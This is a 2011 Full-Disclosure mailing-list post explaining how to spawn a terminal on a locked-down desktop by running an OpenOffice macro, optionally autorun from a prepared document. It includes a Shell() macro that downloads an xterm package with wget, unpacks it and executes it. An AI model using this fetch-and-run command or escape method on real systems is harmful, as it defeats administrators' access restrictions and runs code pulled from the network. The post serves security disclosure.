[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAHmME9oJMwV2dq-UXYyxy8WTiNd=m65voRvOVHJR1_OdufTQWA@mail.gmail.com>
Date: Tue, 15 Nov 2011 02:29:49 -0500
From: "Jason A. Donenfeld" <Jason@...c4.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Spawn a terminal using OpenOffice,
just for funzies.
Some friends asked me some tips for how to make a locked down machine that
doesn't allow the user to execute anything from the GUI and doesn't have a
terminal emulator installed into starting a terminal, using an allowed
application, OpenOffice. The below is hardly a security vulnerability
(unless you count "if the GUI can't do it, then the user can't either!" a
real security attempt), but it is a method that could be helpful in making
different sorts of things this mailing list seems to like. So here ya go.
---------- Forwarded message ----------
From: Jason A. Donenfeld <Jason@...c4.com>
Subject: Spawn a terminal using OpenOffice, just for funzies.
Howdy Boys and Girls,
So you want to use OpenOffice.org to spawn a command line terminal on a
computer that has no X terminal emulator installed or an easy way to run
apps, eh?
*Method 1:
*Run the macro in a new document.
See method-1.ogv <http://data.zx2c4.com/openoffice-execute/method-1.ogv>
*Method 2:
*Have the macro autorun from a preexisting file. Downside: requires low
macro security option.
See method-2.ogv <http://data.zx2c4.com/openoffice-execute/method-2.ogv>
See terminal-spawn.odt<http://data.zx2c4.com/openoffice-execute/terminal-spawn.odt>
Helpful macro snippet:
Shell("sh -c 'dir=`mktemp -d`; cd $dir; wget
http://mirror.pnl.gov/ubuntu//pool/main/x/xterm/xterm_256-1ubuntu1_i386.deb;
ar x xterm_256-1ubuntu1_i386.deb; tar xzf data.tar.gz; cd /;
$dir/usr/bin/xterm & rm -rf $dir'", 1)
Have fun with this trick.
Jason
Content of type "text/html" skipped
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists